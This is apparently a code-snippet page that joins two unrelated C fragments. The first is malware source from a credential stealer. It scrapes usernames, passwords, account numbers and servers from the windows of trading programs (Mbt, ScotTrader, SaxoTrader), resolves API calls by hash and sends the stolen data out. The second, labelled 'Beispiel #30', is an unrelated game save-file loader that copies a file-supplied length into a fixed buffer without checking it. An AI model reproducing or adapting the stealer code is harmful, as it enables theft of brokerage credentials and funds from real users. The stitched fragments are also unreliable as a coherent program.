		pTradeInfo->dwPassID = 310;
		pTradeInfo->dwServID = 311;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		

		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) ||
			 !m_lstrlen( pTradeInfo->Server ) )
		{
			return;
		}

		Program = "Mbt";
	}
	else if ( IsScotTrader() && TradeGetWindowID( hWnd ) == 1 )
	{
		pTradeInfo->dwUserID = 1076;
		pTradeInfo->dwPassID = 1005;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) )
		{
			return;
		}

		Program = "ScotTrader";
	}
	else if ( IsSaxoTrader() && TradeGetWindowID2( hWnd ) == 1442918145 )
	{
		pTradeInfo->dwUserID = 1442906816;
		pTradeInfo->dwPassID = 1442906848;

		while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc2, NULL ) );
		
		if ( !m_lstrlen( pTradeInfo->Username ) ||
			 !m_lstrlen( pTradeInfo->Password ) )
		{
			return;
		}

		Program = "SaxoTrader";
	}


	if ( Program != NULL )
	{
		char *Buffer = (char*)MemAlloc( 1024 );

		char Template[] = "Program:   %s\r\n"
						  "Username:  %s\r\n"
						  "Password:  %s\r\n"
						  "AccountNO: %s\r\n"
						  "Server:    %s\r\n";

		if ( Buffer != NULL )
		{
			typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
			fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
			_pwsprintfA( Buffer, Template, Program, pTradeInfo->Username, pTradeInfo->Password, pTradeInfo->UserID, pTradeInfo->Server );
			
			SendTradeInfo( Buffer );
			MemFree( Buffer );

			MemFree( pTradeInfo->Server );
			MemFree( pTradeInfo->Username );
			MemFree( pTradeInfo->Password );
			MemFree( pTradeInfo->UserID   );

			if ( ( pTradeInfo = (PTRADEINFO)MemAlloc( sizeof( PTRADEINFO ) ) ) != NULL )
			{
				m_memset( pTradeInfo, 0, sizeof( PTRADEINFO ) );
			}		
			
		}
	}
Beispiel #30
0
BOOLEAN LoadMapScreenMessagesFromSaveGameFile( HWFILE hFile )
{
	UINT32	uiNumBytesRead;
	UINT32	uiCount;
	UINT32	uiSizeOfString;
	StringSaveStruct StringSave;
	CHAR16	SavedString[ 512 ];

	// clear tactical message queue
	ClearTacticalMessageQueue( );

	gubEndOfMapScreenMessageList = 0;
	gubStartOfMapScreenMessageList = 0;
	gubCurrentMapMessageString = 0;

	//	Read to the begining of the message list
	FileRead( hFile, &gubEndOfMapScreenMessageList, sizeof( UINT8 ), &uiNumBytesRead );
	if( uiNumBytesRead != sizeof( UINT8 ) )
	{
		return(FALSE);
	}

	//	Read the current message string
	FileRead( hFile, &gubStartOfMapScreenMessageList, sizeof( UINT8 ), &uiNumBytesRead );
	if( uiNumBytesRead != sizeof( UINT8 ) )
	{
		return(FALSE);
	}

	//	Read the current message string
	FileRead( hFile, &gubCurrentMapMessageString, sizeof( UINT8 ), &uiNumBytesRead );
	if( uiNumBytesRead != sizeof( UINT8 ) )
	{
		return(FALSE);
	}

	//Loopthrough all the messages
	for( uiCount=0; uiCount<256; uiCount++)
	{
		//	Read to the file the size of the message
		FileRead( hFile, &uiSizeOfString, sizeof( UINT32 ), &uiNumBytesRead );
		if( uiNumBytesRead != sizeof( UINT32 ) )
		{
			return(FALSE);
		}

		//if there is a message
		if( uiSizeOfString )
		{
			//	Read the message from the file
			FileRead( hFile, SavedString, uiSizeOfString, &uiNumBytesRead );
			if( uiNumBytesRead != uiSizeOfString )
			{
				return(FALSE);
			}

			//if there is an existing string,delete it
			if( gMapScreenMessageList[ uiCount ] )
			{
				if( gMapScreenMessageList[ uiCount ]->pString16 )
				{
					MemFree( gMapScreenMessageList[ uiCount ]->pString16 );
					gMapScreenMessageList[ uiCount ]->pString16 = NULL;
				}
			}
			else
			{
				// There is now message here, add one
				ScrollStringSt	*sScroll;

				
				sScroll = MemAlloc( sizeof( ScrollStringSt ) );
				if( sScroll == NULL )
					return( FALSE );

				memset( sScroll, 0, sizeof( ScrollStringSt ) );

				gMapScreenMessageList[ uiCount ] = sScroll;
			}

			//allocate space for the new string
			gMapScreenMessageList[ uiCount ]->pString16 = MemAlloc( uiSizeOfString );
			if( gMapScreenMessageList[ uiCount ]->pString16 == NULL )
				return( FALSE );

			memset( gMapScreenMessageList[ uiCount ]->pString16, 0, uiSizeOfString);

			//copy the string over
			wcscpy( gMapScreenMessageList[ uiCount ]->pString16, SavedString );


			//Read the rest of the message information to the saved game file
			FileRead( hFile, &StringSave, sizeof( StringSaveStruct ), &uiNumBytesRead );
			if( uiNumBytesRead != sizeof( StringSaveStruct ) )
			{
				return(FALSE);
			}

			// Create  the saved string struct
			gMapScreenMessageList[ uiCount ]->uiFont = StringSave.uiFont;
			gMapScreenMessageList[ uiCount ]->usColor = StringSave.usColor;
			gMapScreenMessageList[ uiCount ]->uiFlags = StringSave.uiFlags;
			gMapScreenMessageList[ uiCount ]->fBeginningOfNewString = StringSave.fBeginningOfNewString;
			gMapScreenMessageList[ uiCount ]->uiTimeOfLastUpdate = StringSave.uiTimeOfLastUpdate;
		}
		else
			gMapScreenMessageList[ uiCount ] = NULL;

	}


	// this will set a valid value for gubFirstMapscreenMessageIndex, which isn't being saved/restored
	MoveToEndOfMapScreenMessageList();

	return( TRUE );
}